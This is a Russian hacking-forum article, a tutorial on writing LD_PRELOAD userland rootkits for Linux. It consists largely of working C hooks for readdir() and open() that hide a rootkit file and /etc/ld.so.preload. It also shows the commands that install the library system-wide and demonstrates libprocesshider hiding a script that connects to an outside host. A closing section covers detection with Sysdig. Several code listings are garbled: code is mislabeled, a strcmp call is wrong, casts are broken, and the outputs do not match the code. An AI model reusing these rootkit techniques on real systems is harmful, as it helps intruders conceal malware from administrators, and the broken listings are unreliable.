

Статья Создаем userland-руткиты в Linux с помощью LD_PRELOAD

 xss.is/threads/46320

В никсах существует переменная среды, при указании которой твои библиотеки будут загружаться раньше остальных. А это значит, что появляется возможность подменить системные вызовы. Называется переменная LD_PRELOAD, и в этой статье мы подробно обсудим ее значение в сокрытии (и обнаружении!) руткитов.

Официально главное предназначение LD_PRELOAD — отладка или проверка функций в динамически подключаемых библиотеках. Если не хочется исправлять и перекомпилировать саму библиотеку, то можно воспользоваться переменной среды.

К примеру, если нам нужно предзагрузить библиотеку ld.so, то у нас будет два способа:

1. Установить переменную среды LD_PRELOAD с файлом библиотеки.
2. Записать путь к библиотеке в файл /etc/ld.so.preload.

В первом случае мы объявляем переменную с библиотекой для текущего пользователя и его окружения. Во втором же наша библиотека будет загружена раньше остальных для **всех** пользователей системы.

Нам интересен как раз второй способ: именно он часто используется в руткитах для перехвата некоторых вызовов, таких как чтение файла, листинг директории, процессов и прочих функций, позволяющих злоумышленнику скрывать свое присутствие в системе.

В основе этого исследования — публикация Абхинава Тхакура [Crafting LD_PRELOAD Rootkits in Userland](#).

ПЕРЕОПРЕДЕЛЕНИЕ СИСТЕМНЫХ ВЫЗОВОВ

Прежде чем мы начнем сближение с реальными функциями руткитов, давай на небольшом примере покажу, как можно перехватить вызов стандартной функции malloc().

Для этого напишем простую программу, которая выделяет блок памяти с помощью функции malloc(), затем помещает в него функцией strncpy() строку I'll be back и выводит ее посредством fprintf() по адресу, который вернула malloc().

Создаем файл call_malloc.c:

Code:

```

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
    char *alloc = (char *)malloc(0x100);
    strncpy(alloc, "I'll be back\0", 14);
    fprintf(stderr, "malloc(): %p\nStr: %s\n", alloc, alloc);
}

```

Теперь напишем программу, переопределяющую malloc(). Внутри — функция с тем же именем, что и в libc. Наша функция не делает ничего, кроме вывода строки в STDERR с помощью fprintf(). Создадим файл libmalloc.c:

Code:

```

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
void *malloc(size_t size)
{
    fprintf(stderr, "\nHijacked malloc(%ld)\n\n", size);
    return 0;
}

```

Теперь с помощью GCC скомпилируем наш код:

Code:

```

$ ls
call_malloc.c libmalloc.c
$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ gcc -o call_malloc call_malloc.c
$ ls
call_malloc call_malloc.c libmalloc.c libmalloc.so

```

Выполним нашу программу call_malloc:

Code:

```

$ ./call_malloc
malloc(): 0x5585b2466260
Str: I'll be back

```

Посмотрим, какие библиотеки использует наша программа, с помощью утилиты **ldd**:

Code:

```

$ ldd ./call_malloc
linux-vdso.so.1 (0x00007fff0cd81000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d35c74000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0d35e50000)

```

Отлично видно, что без использования предзагрузчика LD_PRELOAD стандартно загружаются три библиотеки:

1. linux-vdso.so.1 — представляет собой **виртуальный динамический разделяемый объект** (Virtual Dynamic Shared Object, VDSO), используемый для оптимизации часто используемых системных вызовов. Его можно игнорировать (подробнее — `man 7 vdso`).
2. libc.so.6 — библиотека libc с используемой нами функцией `malloc()` в программе `call_malloc`.
3. ld-linux-x86-64.so.2 — сам динамический компоновщик.

Теперь давай определим переменную LD_PRELOAD и попробуем перехватить `malloc()`. Здесь я не буду использовать `export` и ограничусь однострочной командой для простоты:

Code:

```
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
Ошибка сегментирования
```

Мы успешно перехватили `malloc()` из библиотеки `libc.so`, но сделали это не совсем чисто. Функция возвращает значение указателя `NULL`, что при разыменовании `strncpy()` в программе `./call_malloc` вызывает ошибку сегментирования. Исправим это.

ОБРАБОТКА СБОЕВ

Чтобы иметь возможность незаметно выполнить полезную нагрузку руткита, нам нужно вернуть значение, которое вернула бы первоначально вызванная функция. У нас есть два способа решить эту проблему:

- наша функция `malloc()` должна реализовывать функциональность `malloc()` библиотеки `libc` по запросу пользователя. Это полностью избавит от необходимости использовать `malloc()` из `libc.so`;
- `libmalloc.so` каким-то образом должна иметь возможность вызывать `malloc()` из библиотеки `libc` и возвращать результаты вызывающей программе.

Каждый раз при вызове `malloc()` динамический компоновщик вызывает версию `malloc()` из `libmalloc.so`, поскольку это первое вхождение `malloc()`. Но мы хотим вызвать следующее вхождение `malloc()` — то, что находится в `libc.so`.

Так происходит потому, что динамический компоновщик внутри использует функцию `dlsym()` из `/usr/include/dlfcn.h` для поиска адреса загруженного в память.

По умолчанию в качестве первого аргумента для `dlsym()` используется дескриптор `RTLD_DEFAULT`, который возвращает адрес первого вхождения символа. Однако есть еще один псевдоуказатель динамической библиотеки — `RTLD_NEXT`, который ищет следующее вхождение. Используя `RTLD_NEXT`, мы можем найти функцию `malloc()` библиотеки `libc.so`.

Отредактируем `libmalloc.c`. Комментарии объясняют, что происходит внутри программы:

Code:

```
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// Определяем макрос, который является
// названием скрываемого файла
#define RKIT "rootkit.so"
// Здесь все то же, что и в примере с malloc()
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
    if (orig_readdir == NULL)
        orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
    // Вызов orig_readdir() для получения каталога
    struct dirent *ep = orig_readdir(dirp);
    while ( ep != NULL && !strcmp(ep->d_name, RKIT, strlen(RKIT)) )
        ep = orig_readdir(dirp);
    return ep;
}
```

В цикле проверяется, не `NULL` ли значение директории, затем вызывается `strcmp()` для проверки, совпадает ли `d_name` каталога с `RKIT` (файла с руткитом). Если оба условия верны, вызывается функция `orig_readdir()` для чтения следующей записи каталога. При этом пропускаются все директории, у которых `d_name` начинается с `rootkit.so`.

Теперь давай посмотрим, как отработает наша библиотека в этот раз. Снова компилируем и смотрим на результат работы:

Code:

```
$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
malloc(): 0x55ca92740260
Str: I'll be back
```

Отлично! Как мы видим, все прошло гладко. Сначала при первом вхождении `malloc()` была использована наша реализация этой функции, а затем оригинальная реализация из библиотеки `libc.so`.

Теперь, когда мы понимаем, как работает `LD_PRELOAD` и каким образом мы можем предопределять работу со стандартными функциями системы, самое время применить эти знания на практике.

Попробуем сделать так, чтобы утилита `ls`, когда выводит список файлов, пропускала руткит.

СКРЫВАЕМ ФАЙЛ ИЗ ЛИСТИНГА LS

Большинство динамически скомпилированных программ используют системные вызовы стандартной библиотеки `libc`. С помощью утилиты `ldd` посмотрим, какие библиотеки использует программа `ls`:

Code:

```
$ ldd /bin/ls
...
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ade498000)
...
```

Получается, `ls` динамически скомпилирована с использованием функций библиотеки `libc.so`. Теперь посмотрим, какие системные вызовы для чтения директории использует утилита `ls`. Для этого в пустой директории выполним `ltrace ls`:

Code:

```
$ ltrace ls
memcpy(0x55de4a72e9b0, ".\0", 2) = 0x55de4a72e9b0
__errno_location()           = 0x7f3a35b07218
opendir(".")                  = 0x55de4a72e9d0
readdir(0x55de4a72e9d0)      = 0x55de4a72ea00
readdir(0x55de4a72e9d0)      = 0x55de4a72ea18
readdir(0x55de4a72e9d0)      = 0
closedir(0x55de4a72e9d0)     = 0
```

Очевидно, что при выполнении команды без аргументов `ls` использует системные вызовы `opendir()`, `readdir()` и `closedir()`, которые входят в библиотеку `libc`. Давай теперь задействуем `LD_PRELOAD` и переопределим эти стандартные вызовы своими. Напишем простую библиотеку, в которой изменим функцию `readdir()`, чтобы она скрывала наш файл с кодом.

Здесь мы уже переходим к написанию простого руткита без нагрузки. Все, что он будет делать, — это прятать сам себя от глаз администратора системы.

Я создал директорию rootkit и дальше буду работать в ней. Создадим файл rkit.c.
Code:

```
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
    if (orig_readdir == NULL)
        orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
    struct dirent *ep = orig_readdir( dirp );
    while ( ep != NULL &&
            ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||
              !strncmp(ep->d_name, LD_PL,  strlen(LD_PL))
            )) {
        ep = orig_readdir(dirp);
    }
    return ep;
}
```

Компилируем и проверяем работу:

Code:

```
$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls -lah
итого 28K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c
-rwxr-xr-x 1 n0a n0a 16K ноя 23 23:46 rootkit.so

$ LD_PRELOAD=./rootkit.so ls -lah
итого 12K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c
```

Нам удалось скрыть файл rootkit.so от посторонних глаз. Пока мы тестировали библиотеку исключительно в пределах одной команды.

Используем /etc/ld.so.preload

Давай воспользуемся записью в `/etc/ld.so.preload` для сокрытия нашего файла от всех пользователей системы. Для этого запишем в `ld.so.preload` путь до нашей библиотеки:
Code:

```
# ls
rkit.c  rootkit.so

# echo $(pwd)/rootkit.so > /etc/ld.so.preload
# ls
rkit.c
```

Теперь мы скрыли файл ото всех пользователей (хотя это не совсем так, но об этом позже). Но опытный администратор довольно легко нас обнаружит, так как само по себе наличие файла `/etc/ld.so.preload` может говорить о присутствии руткита — особенно если раньше такого файла не было.

СКРЫВАЕМ LD.SO.PRELOAD

Давай попытаемся скрыть из листинга и сам файл `ld.so.preload`. Немного модифицируем код `rkit.c`:

Code:

```
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
    if (orig_readdir == NULL)
        orig_readdir = (struct dirent*)(*) (DIR *)dlsym(RTLD_NEXT, "readdir");
    struct dirent *ep = orig_readdir( dirp );
    while ( ep != NULL &&
            ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||
              !strncmp(ep->d_name, LD_PL,  strlen(LD_PL))
            ) ) {
        ep = orig_readdir(dirp);
    }
    return ep;
}
```

Для наглядности я добавил к предыдущей программе еще один макрос `LD_PL` с именем файла `ld.so.preload`, который мы также добавили в цикл `while`, где сравниваем имя файла для сокрытия.

После компиляции исходный файл `rootkit.so` будет перезаписан и из вывода утилиты **ls** пропадет и нужный файл `ld.so.preload`. Проверяем:

Code:

```
$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls
rkit.c
$ ls /etc/
...
ldap          tmpfiles.d
ld.so.cache   ucf.conf
ld.so.conf    udev
ld.so.conf.d  udisks2
libao.conf    ufw
libaudit.conf update-motd.d
libblockdev   UPower
...
```

Здорово! Мы только что стали на один шаг ближе к полной конспирации. Вроде бы это победа, но не спеши радоваться.

ПОГРУЖАЕМСЯ ГЛУБЖЕ

Давай проверим, сможем ли мы прочитать файл `ld.so.preload` командой **cat**:

Code:

```
$ cat /etc/ld.so.preload
/root/rootkit/src/rootkit.so
```

Так-так-так. Получается, мы плохо спрятались, если наличие нашего файла можно проверить простым чтением. Почему так вышло?

Очевидно, что для получения содержимого утилита **cat** вызывает другую функцию — не `readdir()`, которую мы так старательно переписывали. Что ж, давай посмотрим, что использует `cat`:

Code:

```
$ ltrace cat /etc/ld.so.preload
...
__fxstat(1, 1, 0x7ffded9f6180) = 0
getpagesize()                 = 4096
open("/etc/ld.so.preload", 0, 01) = 3
__fxstat(1, 3, 0x7ffded9f6180) = 0
posix_fadvise(3, 0, 0, 2)     = 0
...
```


На этот раз нам нужно поработать с функцией `open()`. Поскольку мы уже опытные, давай добавим в наш руткит функцию, которая при обращении к файлу `/etc/ld.so.preload` будет вежливо говорить, что файла не существует (Error по entry или просто `ENOENT`).

Снова модифицируем `rkit.c`:

Code:

```
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
// Добавляем путь, который использует open()
// для открытия файла /etc/ld.so.preload
#define LD_PATH "/etc/ld.so.preload"
#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
// Сохраняем указатель оригинальной функции open
int (*o_open)(const char*, int oflag) = NULL;
struct dirent *readdir(DIR *dirp)
{
    if (orig_readdir == NULL)
        orig_readdir = (struct dirent*)(*)(DIR *)dlsym(RTLD_NEXT, "readdir");
    struct dirent *ep = orig_readdir( dirp );
    while ( ep != NULL &&
           ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||
             !strncmp(ep->d_name, LD_PL,  strlen(LD_PL))
           )) {
        ep = orig_readdir(dirp);
    }
    return ep;
}
// Работаем с функцией open()
int open(const char *path, int oflag, ...)
{
    char real_path[PATH_MAX];
    if(!o_open)
        o_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, LD_PATH) == 0)
    {
        errno = ENOENT;
        return -1;
    }
    return o_open(path, oflag);
}
```

Здесь мы добавили кусок кода, который делает то же самое, что и с `readdir()`.

Компилируем и проверяем:

Code:

```
$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ cat /etc/ld.so.preload
cat: /etc/ld.so.preload: Нет такого файла или каталога
```

Так гораздо лучше, но это еще далеко не все варианты обнаружения `/etc/ld.so.preload`.

Мы до сих пор можем без проблем удалить файл, переместить его со сменой названия (и тогда `ls` снова его увидит), поменять ему права без уведомления об ошибке. Даже `bash` услужливо продолжит его имя при нажатии на Tab.

В хороших руткитах, эксплуатирующих лазейку с `LD_PRELOAD`, реализован перехват следующих функций:

- `listxattr, llistxattr, flistxattr;`
- `getxattr, lgetxattr, fgetxattr;`
- `setxattr, lsetxattr, fsetxattr;`
- `removexattr, lremovexattr, fremovexattr;`
- `open, open64, openat, creat;`
- `unlink, unlinkat, rmdir;`
- `symlink, symlinkat;`
- `mkdir, mkdirat, chdir, fchdir, opendir, opendir64, fdopendir, readdir, readdir64;`
- `execve.`

Разбирать подмену каждой из них мы, конечно же, не будем. Можешь в качестве примера перехвата перечисленных функций посмотреть руткит `sub3` — там все те же `dlsym()` и `RTLD_NEXT`.

СКРЫВАЕМ ПРОЦЕСС С ПОМОЩЬЮ LD_PRELOAD

При работе руткиту нужно как-то скрывать свою активность от стандартных утилит мониторинга, таких как **`lsof`**, **`ps`**, **`top`**.

Мы уже довольно детально разобрались, как работает переопределение функций `LD_PRELOAD`. Для процессов все то же самое. Более того, стандартные программы используют в своей работе **`procfs`**, виртуальную файловую систему, которая представляет собой интерфейс для взаимодействия с ядром ОС.

Чтение и запись в `procfs` реализованы так же, как и в обычной файловой системе. То есть, как ты можешь догадаться, наш опыт с `readdir()` здесь придется кстати.

libprocesshider

Как скрыть активность из мониторинга, предлагаю рассмотреть на хорошем примере libprocesshider, который разработал Джанлука Борелло (Gianluca Borello), автор Sysdig.com (о Sysdig и методах обнаружения руткитов LD_PRELOAD мы поговорим в конце статьи).

Давай скопируем код с GitHub и разберемся, что к чему:

Code:

```
$ git clone https://github.com/gianlucaborello/libprocesshider
$ cd libprocesshider
$ ls
evil_script.py  Makefile  processhider.c  README.md
```

В описании к libprocesshider все просто: делаем make, копируем в /usr/local/lib/ и добавляем в /etc/ld.so.preload. Сделаем все, кроме последнего:

Code:

```
$ make
$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
$ sudo mv libprocesshider.so /usr/local/lib/
```

Теперь давай посмотрим, каким образом ps получает информацию о процессах. Для этого запустим ltrace:

Code:

```
$ ltrace /bin/ps
...
time(0) = 1606208519
meminfo(0, 4096, 0, 0x7f1787ce9207) = 0
openproc(96, 0, 0, 0) = 0x55c6f9f145c0
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0) = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7) = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5) = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5) = 0x55c6f8258580
...
```

Информацию о процессе получаем при помощи функции readproc(). Посмотрим реализацию этой функции в файле readproc.c:

Code:

```

static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p) {
    static struct dirent *ent;
    char *restrict const path = PT->path;
    for (;;) {
        ent = readdir(PT->procfs);
        if(unlikely(unlikely(!ent) || unlikely(!ent->d_name))) return 0;
        if(likely(likely(*ent->d_name > '0') && likely(*ent->d_name <= '9'))) break;
    }
    p->tgid = strtoul(ent->d_name, NULL, 10);
    p->tid = p->tgid;
    memcpy(path, "/proc/", 6);
    strcpy(path+6, ent->d_name);
    return 1;
}

```

Из этого кода понятно, что PID процессов получают, вызывая `readdir()` в цикле `for`. Другими словами, если нет директории процесса — нет и самого процесса для утилит мониторинга. Приведу пример части кода `libprocesshider`, где уже знакомым нам методом мы скрываем директорию процесса:

Code:

```

...
while(1)
{
    dir = original_##readdir(dirp);
    if(dir) {
        char dir_name[256];
        char process_name[256];
        if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&
            strcmp(dir_name, "/proc") == 0 &&
            get_process_name(dir->d_name, process_name) &&
            strcmp(process_name, process_to_filter) == 0) {
            continue;
        }
    }
    break;
}
return dir;
...

```

Причем само имя процесса `get_process_name()` берется из `/proc/pid/stat`.

Проверим наши догадки. Для этого запустим предлагаемый `evil_script.py` в фоне:

Code:

```

$ ./evil_script.py 1.2.3.4 1234 &
[1] 3435

```

3435 — это PID нашего работающего процесса `evil_script.py`. Проверим вывод утилиты `htop` и убедимся, что `evil_script.py` присутствует в списке процессов.



`evil_script.py` в списке процессов `htop`

Проверим вывод `ps` и `lsof` для обнаружения сетевой активности:

Code:

```
$ sudo ps aux | grep evil_script.py
root      3435 99.5  0.4 19272  8260 pts/1    R   11:48  63:20 /usr/bin/python
./evil_script.py 1.2.3.4 1234
root      3616  0.0  0.0  6224   832 pts/0    S+  12:52   0:00 grep evil_script.py
$ sudo lsof -ni | grep evil_scri
evil_scri 3435      root    3u  IPv4  41410      0t0  UDP 192.168.232.138:52676-
>1.2.3.4:1234
```

Теперь посмотрим, существует ли директория с PID процесса `evil_script.py`:

Code:

```
$ sudo ls /proc | grep 3435
3435
```

```
$ cat /proc/3435/status
Name: evil_script.py
Umask: 0022
State: R (running)
Tgid: 3435
Ngid: 0
Pid: 3435
...
```

Все предсказуемо. Теперь самое время добавить библиотеку `libprocesshider.so` в загрузку глобально для всей системы. Пропишем ее в `/etc/ld.so.preload`:

Code:

```
# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
```

Проверяем директорию `/proc`, а также вывод `lsof` и `ps`.

Code:

```
$ ls /proc | grep 3435
$ lsof -ni | grep evil_scri
ps aux | grep evil_script.py
root      3707  0.0  0.0  6244   900 pts/0    S+  13:10   0:00 grep evil_script.py
```

Результат налицо. Теперь в `/proc` нельзя посмотреть директорию с PID скрипта `evil_script.py`. Однако статус процесса по-прежнему виден в файле `/proc/3435/status`.

Code:

```
$ cat /proc/3435/status
Name: evil_script.py
Umask: 0022
State: R (running)
Tgid: 3435
Ngid: 0
Pid: 3435
...
```

Подытожим. В первой части статьи мы изучили методы перехвата функций и их изменение, что позволяет скрывать руткиты. А дальше проделали то же самое для скрытия процессов от стандартных утилит мониторинга.

Как ты догадываешься, простые руткиты, несмотря на все хитрости, поддаются детекту. Например, при помощи разных манипуляций с файлом `/etc/ld.so.preload` или изучения используемых библиотек при помощи `ldd`.

Но что делать, если автор руткита настолько хорош, что захукал все возможные функции, `ldd` молчит, а подозрения на сетевую или иную активность все же есть?

SYSDIG КАК РЕШЕНИЕ

В отличие от стандартных инструментов, утилита **Sysdig** устроена по-другому. По архитектуре она близка к таким продуктам, как **libcap**, **tcpdump** и **Wireshark**.

Специальный драйвер `sysdig-probe` перехватывает системные события на уровне ядра, после чего активируется функция ядра `tracerepoints`, которая, в свою очередь, запускает обработчики этих событий. Обработчики сохраняют информацию о событии в совместно используемом буфере. Затем эта информация может быть выведена на экран или сохранена в текстовом файле.

Давай посмотрим, как с помощью `Sysdig` найти `evil_script.py`. К примеру, по загрузке центрального процессора:

Code:

```
$ sudo sysdig -c topprocs_cpu
CPU%           Process           PID
-----
99.00%         evil_script.py    5979
2.00%          sysdig            5997
0.00%          sshd              928
0.00%          wpa_supplicant   474
0.00%          systemd          909
0.00%          exim4            850
0.00%          sshd              938
0.00%          su                948
0.00%          in:imklog        472
0.00%          in:imuxsock      472
```

Можно посмотреть выполнение ps. Бонусом Sysdig покажет, что динамический компоновщик загружал пользовательскую библиотеку libprocesshide раньше, чем **libc**:
Code:

```
$ sudo sysdig proc.name = ps
2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. tid=3351(ps) pid=3351(ps)
(out)ptid=3111(bash) cwd=/home/gianluca fdlimit=1024 pgft_maj=0 pgft_min=62 vm_size=512
vm_rss=4 vm_swap=0
...
2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libprocesshider.so)
name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) mode=0
2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libprocesshider.so) size=832
...
2810 00:21:52.721293540 1 ps (3351) > open
2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64-linux-gnu/libc.so.6)
name=/lib/x86_64-linux-gnu/libc.so.6 flags=1(O_RDONLY) mode=0
2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64-linux-gnu/libc.so.6) size=832
...
```

Схожие функции предоставляют утилиты **SystemTap**, **DTrace** и его свежая полноценная замена — **VpfTrace**.

Дополнительная литература

WWW

Проекты на GitHub:

Автор @noa Denis Simonov, noa.pw